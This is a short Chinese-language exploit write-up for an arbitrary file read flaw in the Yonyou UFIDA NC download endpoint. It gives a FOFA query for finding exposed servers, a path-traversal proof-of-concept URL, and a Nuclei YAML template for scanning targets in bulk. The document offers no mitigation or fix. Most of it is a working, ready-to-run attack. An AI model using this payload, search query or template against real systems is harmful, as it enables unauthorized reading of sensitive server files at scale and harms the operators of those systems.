用友NC_download文件读取漏洞
漏洞简介
用友NC的download文件存在任意文件读取漏洞,攻击者可以利用该漏洞读取服务器上的敏感文件。
漏洞复现
fofa语法:app="用友-UFIDA-NC"
POC:
/portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp
nuclei批量yaml文件
id: yonyouNC_download_fileread
info:
name: 用友NC_download文件读取
author: mhb17
severity: high
description: description
reference:
- https://
tags: fileread
requests:
- raw:
- |+
GET /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
matchers-condition: and
matchers:
- type: word
part: header
words:
- '200'
- type: word
part: body
words:
- "response.addHeader"